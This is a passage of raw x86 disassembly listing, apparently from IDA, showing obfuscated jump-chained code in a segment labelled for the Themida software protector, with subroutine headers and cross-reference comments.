		jmp	loc_552976
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_5594AF:				; CODE XREF: Themida_:005593D1j
		mov	al, 2Ah
		inc	al
		jmp	loc_55923C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	7FC6h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555A19
; ---------------------------------------------------------------------------


loc_5594D2:				; CODE XREF: Themida_:0055325Bj
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_55C418

; =============== S U B	R O U T	I N E =======================================



sub_5594EA	proc near		; CODE XREF: sub_554562+4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00552232 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055230D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554C5B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005558F7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559005 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559354 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055B6BF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CD1C SIZE 0000000E BYTES

		sub	esp, 4
		jmp	loc_55230D
sub_5594EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5594F2:				; CODE XREF: sub_55910B-2D76j
		push	dx
		jmp	loc_5526D8
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5594F9:				; CODE XREF: sub_55A4DA-40C1j
		pop	esi
		sub	esp, 4
		jmp	loc_558B18
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_559505:				; CODE XREF: Themida_:00555B95j
		add	[esp+4], ecx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5532EA
; ---------------------------------------------------------------------------


loc_55951A:				; CODE XREF: Themida_:00552FE1j
		mov	ecx, esi
		pop	esi
		shr	ecx, 7
		dec	ecx
		push	edx
		mov	edx, 4AAF41D1h
		add	edx, 0B5E27300h
		sub	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_554F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559538:				; CODE XREF: sub_55ABF6+940j
		shl	ebp, 5
		sub	ebp, 4840500Bh
		add	ebp, 45B6CF8Eh
		add	ebx, ebp
		jmp	loc_552B15
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55954E:				; CODE XREF: Themida_:00552A4Bj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_559563:				; CODE XREF: sub_55C87F-740j
		pop	edx
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55C4F2
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55956D:				; CODE XREF: sub_55ABF6-114Fj
		pop	edx
		add	ecx, eax
		jmp	loc_55A42A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_559575:				; CODE XREF: sub_556D34-2FEDj
		xor	edx, 0C683612h
		xor	edx, 0BAC3E194h
		add	eax, edx
		pop	edx
		pop	ebx
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ebx
		mov	ebx, 24C17840h
		jmp	loc_5570B2
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_559599:				; CODE XREF: sub_55A0D6-586Dj
		pop	eax
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_559C9D
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_5595B5:				; CODE XREF: sub_558326-718j
		mov	esi, 7D3C6A2Eh
		xor	edi, esi
		pop	esi
		xor	edi, 0C77468F1h
		add	eax, edi
		jmp	loc_55BF7F
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_5595CA:				; CODE XREF: Themida_:0055B434j
		and	dh, ch
		jmp	loc_55D4A2
; ---------------------------------------------------------------------------


loc_5595D1:				; CODE XREF: Themida_:00553D65j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_558E6E
; ---------------------------------------------------------------------------


loc_5595F8:				; CODE XREF: Themida_:00552B10j
		mov	edi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_555BF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55960D:				; CODE XREF: sub_55163B+4293j
		mov	edi, 678A107Ah
		jmp	loc_55656A
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_559617:				; CODE XREF: sub_55C814-34F6j
		add	esp, 4
		and	ecx, ebp
		jmp	loc_555CBE
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_559624:				; CODE XREF: Themida_:0055A751j
		inc	edx
		jmp	loc_557454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55962A:				; CODE XREF: sub_559249-583Bj
		add	ecx, edi
		jmp	loc_553A8A
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559631:				; CODE XREF: sub_55ABF6+2D28j
		mov	edx, 418F5AA2h
		dec	edx
		shl	edx, 5
		jmp	loc_557C77
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55963F:				; CODE XREF: Themida_:0055A040j
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	1E1Eh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_5545EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_559663:				; CODE XREF: sub_55D9AA-7124j
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_559905
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559675:				; CODE XREF: sub_55ABF6-6B43j
		add	al, ch
		pop	ecx
		jmp	loc_55715C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55967D:				; CODE XREF: sub_558326+2DFDj
		mov	edx, esi
		jmp	loc_55ABBC
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_559684:				; CODE XREF: Themida_:00555637j
		mov	[esp], edi
		jmp	loc_558B38
; ---------------------------------------------------------------------------


loc_55968C:				; CODE XREF: Themida_:0055BD0Ej
		push	edx
		push	43B74EFEh
		pop	edx
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_551EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55969E:				; CODE XREF: sub_55AE3A-73B5j
		add	al, bl
		add	al, 5Bh
		add	al, 0D7h
		push	edx
		push	eax
		mov	ah, 2
		push	ebx
		mov	bl, 72h
		push	ebx
		jmp	loc_5542A4
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551C53


loc_5596B1:				; CODE XREF: sub_551C53+5E39j
		mov	ah, 0C5h
		xor	ah, bh
		pop	ebx
		jmp	loc_55D9D5
; END OF FUNCTION CHUNK	FOR sub_551C53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5596BB:				; CODE XREF: sub_55ABF6-8854j
		sub	edx, 343C5C35h
		add	eax, edx
		pop	edx
		or	eax, 34222870h
		push	esi
		mov	esi, 7F422C5Fh
		add	esi, 54F2158Fh
		xor	esi, 0D46B020Bh
		sub	eax, esi
		pop	esi
		add	ecx, 64270A19h
		add	ecx, eax
		sub	ecx, 64270A19h
		pop	eax
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5539B7
		push	ebp
		mov	ebp, esp
		jmp	loc_55DB5D
; ---------------------------------------------------------------------------


loc_559700:				; CODE XREF: sub_55ABF6-4F9Aj
		add	al, 9Dh
		push	small 158Eh
		mov	word ptr [esp-6+arg_0+2], bx
		push	edx
		mov	dh, 3Fh
		jmp	sub_55910B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559712:				; CODE XREF: Themida_:0055760Fj
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552C64


loc_559721:				; CODE XREF: sub_552C64+6EDj
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+8+var_8]
		jmp	loc_5532A5
; END OF FUNCTION CHUNK	FOR sub_552C64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_559752:				; CODE XREF: sub_555A6F-1C75j
		sub	al, cl
		pop	ecx
		not	al
		shl	al, 8
		push	ecx
		mov	ch, 99h
		add	al, ch
		pop	ecx
		add	bl, al
		jmp	loc_55297D
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------


loc_559767:				; CODE XREF: Themida_:00552BE1j
		shl	esi, 6
		push	ecx
		mov	ecx, 4B567CB9h
		push	ebx
		mov	ebx, 78E96CBDh
		and	ebx, 756C6483h
		not	ebx
		xor	ebx, 0AC78F976h
		xor	ecx, ebx
		jmp	loc_55A39B
; ---------------------------------------------------------------------------


loc_55978B:				; CODE XREF: Themida_:0055B697j
		add	esp, 4
		add	esp, 4
		push	8A8h
		jmp	loc_553B7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_5597A1:				; CODE XREF: sub_55802B+1940j
		pop	ebp
		jmp	loc_556C36
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5597A7:				; CODE XREF: sub_55A4DA-3DB1j
		mov	[esp+4+var_4], ecx
		jmp	loc_552A6A
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_5597AF:				; CODE XREF: sub_5546E4+7082j
		sub	eax, edi
		pop	edi
		add	eax, edx
		push	ebp
		jmp	loc_55C46B
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_55ADAA
; ---------------------------------------------------------------------------


loc_5597C1:				; CODE XREF: Themida_:0055C6FBj
		mov	[esp], edx
		jmp	loc_55C33A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_5597C9:				; CODE XREF: sub_55B7DE-3C59j
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	sub_5578E3
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5597DE:				; CODE XREF: sub_559249-B7Aj
		mov	ecx, 2A0B0CD4h
		xor	ecx, 2A0B0CD0h
		add	edx, ecx
		mov	ecx, [esp+20h+var_20]
		jmp	loc_555866
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1983h
		mov	[esp], eax
		push	5552h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, 5E0A1423h
		add	ebx, eax
		sub	ebx, 5E0A1423h
		jmp	loc_5556F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559830:				; CODE XREF: sub_55ABF6+3183j
		push	ecx
		jmp	loc_55CA62
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559836:				; CODE XREF: Themida_:00557F9Bj
		push	edx
		sub	dword ptr [esp], 2044016Fh
		jmp	loc_5543E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559843:				; CODE XREF: sub_55ABF6+5Fj
		sub	ah, dl
		mov	edx, [esp+2+var_4+2]
		jmp	loc_5579F0
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55984D:				; CODE XREF: sub_551F97+98C8j
		pop	ax
		add	ax, 1
		and	ax, 2C88h
		inc	ax
		add	ax, 453Fh
		jmp	loc_554A85
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_559862:				; CODE XREF: sub_55B7DE-4CA6j
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_55A9C8
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------


loc_559881:				; CODE XREF: Themida_:0055AE8Aj
		add	ecx, 17F06569h
		shr	ecx, 3
		add	ecx, 0FCC5952Eh
		add	esi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_556122
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5598A3:				; CODE XREF: sub_55CE17-6A55j
		sub	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		push	edx
		push	18100E13h
		pop	edx
		add	edx, 78093856h
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		jmp	loc_55573B
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_5598C7:				; CODE XREF: sub_558326+4F77j
		push	edx
		jmp	loc_556F29
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_5598CD:				; CODE XREF: sub_55C840-7644j
		push	esp
		pop	ebx
		jmp	loc_556E8E
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5598D4:				; CODE XREF: sub_55ABF6-62D9j
		pop	eax
		add	dl, 0EBh
		and	dl, 0E5h
		dec	dl
		shr	dl, 6
		xor	dl, 0D9h
		xor	cl, dl
		pop	edx
		push	ebx
		mov	bl, 18h
		jmp	loc_556760
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5598EE:				; CODE XREF: Themida_:0055200Ej
		pop	edx
		sub	esp, 4
		jmp	loc_55DD7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_5598FA:				; CODE XREF: sub_55BB30-6A57j
		mov	esi, [esp+4+var_4]
		push	edi
		push	esp
		pop	edi
		jmp	loc_557BE8
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_559905:				; CODE XREF: sub_55D9AA-433Aj
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		mov	ebp, 34974C34h
		sub	edx, ebp
		pop	ebp
		jmp	loc_5553E2
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AB81


loc_559924:				; CODE XREF: sub_55AB81-11C1j
		mov	esp, [esp+4+var_4]
		jmp	loc_556DCE
; END OF FUNCTION CHUNK	FOR sub_55AB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55992C:				; CODE XREF: sub_55611A-FABj
		pop	edx
		sub	al, bh
		add	al, 14h
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_55B10F
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55993A:				; CODE XREF: sub_55ABF6+B81j
		pop	esi
		push	ebp
		jmp	loc_55AE2A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559941:				; CODE XREF: Themida_:00551F01j
		dec	ebx
		not	ebx
		jmp	loc_551B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_559949:				; CODE XREF: sub_554628+5754j
		or	eax, 4356356Ch
		shl	eax, 6
		and	eax, 271D3442h
		xor	eax, 0B841484h
		dec	eax
		sub	eax, 0ACFCEC4Eh
		xor	ebp, eax
		pop	eax
		jmp	loc_55509B
; END OF FUNCTION CHUNK	FOR sub_554628
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_559969:				; CODE XREF: sub_55802B+11j
		mov	eax, ebp
		jmp	loc_5597A1
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_559970:				; CODE XREF: sub_55AE3A-7AFDj
		dec	ah
		jmp	loc_5516F5
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_559977	proc near		; CODE XREF: sub_554937-2BEEj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551ED9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005528E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00552D07 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00555D5F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00557FBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005583F4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A24B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055B361 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055DE2E SIZE 00000019 BYTES

		push	ebp
		push	ebx
		mov	bx, 31F8h
		mov	bp, bx
		jmp	loc_5583F4
sub_559977	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558854


loc_559985:				; CODE XREF: sub_558854+1948j
		push	ecx
		mov	ecx, 19CC6C7Bh
		jmp	loc_55CA7F
; END OF FUNCTION CHUNK	FOR sub_558854
; ---------------------------------------------------------------------------


loc_559990:				; CODE XREF: Themida_:00555794j
		add	edx, 2A0821C2h
		jmp	loc_556348
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55999B:				; CODE XREF: sub_551F97+2131j
		mov	[esp+2+var_2], ax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_5599A4:				; CODE XREF: Themida_:0055A5ADj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AB81


loc_5599A9:				; CODE XREF: sub_55AB81+6j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+4+var_4]
		jmp	loc_559924
; END OF FUNCTION CHUNK	FOR sub_55AB81
; ---------------------------------------------------------------------------


loc_5599C5:				; CODE XREF: Themida_:0055402Cj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	[edi+1Ch], esi
		pop	esi


loc_5599D0:				; CODE XREF: Themida_:00558A2Cj
		push	58A1h
		mov	[esp], ebx
		add	dword ptr [esp], 77174735h
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_55889B
; ---------------------------------------------------------------------------


loc_5599F0:				; CODE XREF: Themida_:00554F82j
		add	edx, 65116269h
		push	eax
		mov	eax, 4CE442F0h
		and	eax, 7BA0004Fh
		or	eax, 1B927C45h
		dec	eax
		not	eax
		sub	eax, 761C73D6h
		add	eax, 3CCD5CCDh
		sub	edx, eax
		pop	eax
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_559A29:				; CODE XREF: Themida_:00558F66j
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5560BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559A34:				; CODE XREF: sub_55ABF6+1E84j
		sub	ebx, esi
		jmp	loc_55C4B1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_559A3B:				; CODE XREF: sub_55611A+4FFFj
		mov	[esp+8+var_8], edx
		mov	dh, 22h
		push	edx
		mov	edx, esp
		jmp	loc_55260D
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------


loc_559A48:				; CODE XREF: Themida_:005543E1j
		add	ecx, 2044016Fh
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 0A5C51E1h
		dec	eax
		xor	eax, 12A905D7h
		sub	eax, 0C003E2D1h
		and	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 16380610h
		jmp	loc_55BE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559A82:				; CODE XREF: sub_55ABF6-177Cj
		mov	al, 34h
		push	bx
		push	eax
		push	edx
		mov	dl, 6Fh
		jmp	loc_553052
; ---------------------------------------------------------------------------


loc_559A8F:				; CODE XREF: sub_55ABF6-4FF3j
		add	ebx, 1B70441Bh
		dec	ebx
		xor	ebx, 6FD34162h
		xor	ebx, 9758A8EAh
		add	edx, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_55956D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559AAC:				; CODE XREF: Themida_:0055221Ej
		add	bl, 1
		pop	edx
		sub	bl, al
		sub	bl, 7Dh
		jmp	loc_55933F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_559ABA:				; CODE XREF: sub_5523E1+54E3j
		mov	eax, 4
		sub	ebp, 42316900h
		add	ebp, 28E55B5h
		add	ebp, eax
		push	edi
		mov	edi, 633C6CF4h
		xor	edi, 65837404h
		push	edx
		mov	edx, 6B9226F2h
		or	edx, 477306C6h
		push	ebx
		jmp	loc_553D4C
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_559AEB:				; CODE XREF: sub_55CFFC-780Dj
		pop	esp
		div	cx
		push	757Fh
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_559FF7
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_559B04:				; CODE XREF: Themida_:005557D7j
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, esi
		jmp	loc_554ACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_559B11:				; CODE XREF: sub_556B0D-54D7j
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_555AB7
; END OF FUNCTION CHUNK	FOR sub_556B0D
; ---------------------------------------------------------------------------


loc_559B1A:				; CODE XREF: Themida_:0055B414j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_551784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_559B28:				; CODE XREF: sub_55C58B-90DAj
		add	bl, dl
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	721h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_55D803
; ---------------------------------------------------------------------------


loc_559B58:				; CODE XREF: sub_55C58B-75FAj
		sub	bl, 0E9h
		sub	bl, cl
		add	bl, 0E9h
		jmp	loc_55B9F2
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559B65:				; CODE XREF: sub_55ABF6-3662j
		mov	[esp-4+arg_0], eax
		push	esi
		mov	esi, 28h
		mov	eax, esi
		pop	esi
		push	eax
		pop	ebx
		mov	eax, [esp-4+arg_0]
		jmp	loc_55D94E
; ---------------------------------------------------------------------------


loc_559B7B:				; CODE XREF: sub_55ABF6-5FA0j
		xchg	edi, [esp-0Ah+arg_4+2]
		jmp	loc_557593
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_559B83:				; CODE XREF: sub_55326E+2E07j
		add	eax, ecx
		add	eax, 166E0E90h
		pop	ecx
		xchg	eax, [esp+0]
		pop	esp
		jmp	sub_558326
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_559B94:				; CODE XREF: sub_55314C+7DA9j
		mov	edi, 4CF630E1h
		push	eax
		mov	eax, 7BD20F20h
		not	eax
		add	eax, 62307826h
		inc	eax
		xor	eax, 0CFE84B91h
		sub	edi, 511D46E5h
		add	edi, eax
		add	edi, 511D46E5h
		jmp	loc_55BD67
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_559BBF:				; CODE XREF: sub_556BCD-2CD5j
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_55DE5A
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_559BCE:				; CODE XREF: sub_552215+4070j
		mov	[esp+1Ch+var_1C], ebx
		push	edx
		mov	edx, 2F961164h
		mov	ebx, 0D069EE9Dh
		add	ebx, edx
		jmp	loc_55BC31
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559BE3:				; CODE XREF: sub_55ABF6-3A6Fj
		push	6F9Bh
		mov	[esp-12h+arg_C+2], esi
		mov	esi, 89E200Eh
		jmp	loc_55A4B1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559BF5:				; CODE XREF: Themida_:0055185Dj
		pop	esp
		push	dword ptr [esp]
		jmp	loc_552FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_559BFE:				; CODE XREF: sub_552BA6+ACC8j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		jmp	loc_5569D8
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------


loc_559C10:				; CODE XREF: Themida_:00554D27j
		push	730Ah
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edi
		jmp	loc_559167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_559C22:				; CODE XREF: sub_55D9AA-189Ej
		add	edx, 75212851h
		pop	esi
		jmp	loc_555811
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_559C2E:				; CODE XREF: sub_55326E+10BFj
		or	eax, 24047B8Ah
